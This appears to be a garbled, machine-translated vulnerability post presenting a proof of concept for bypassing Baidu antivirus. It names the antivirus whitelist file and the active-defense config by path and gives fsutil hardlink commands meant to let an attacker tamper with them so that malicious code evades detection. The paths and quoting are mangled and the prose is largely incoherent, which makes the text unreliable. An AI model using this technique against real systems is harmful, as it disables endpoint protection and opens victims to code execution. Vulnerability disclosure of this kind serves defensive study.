Then attackers can bypass Baidu antivirus Code Execution (POC)

If there is a problem, don't worry about it. If the vendor who ignores my problem secretly fills up the vulnerability, don't install it all day long. you should know all the bugs you mentioned, and there is no major harm to those you shouldn't know. Just a few people use them. this time I will continue with the two files. or overwrite the replacement routine.

// This file is the anti-virus whitelist. Add C to this file without killing: \ defense ents and Settings \ All Users \ Application Data \ baidu \ baidusd \ white_list.db // This is the active defense C: \ Documents and Settings \ All Users \ Application Data \ baidu \ baidusd \ Config \ 900.dat

 

It's much simpler. You can directly mount the hard link. If you get off work, you don't need to write the code. Just run CMD.

Fsutil hardlink Create "C: \ white_list" "C: \ Documents and Settings \ All Users \ Application Data \ baidu \ baidusd" fsutil hardlink Create "C: \ 900.dat"" C: \ Documents and Settings \ All Users \ Application Data \ baidu \ baidusd \ Config \ 900.dat"

 

Solution:You understand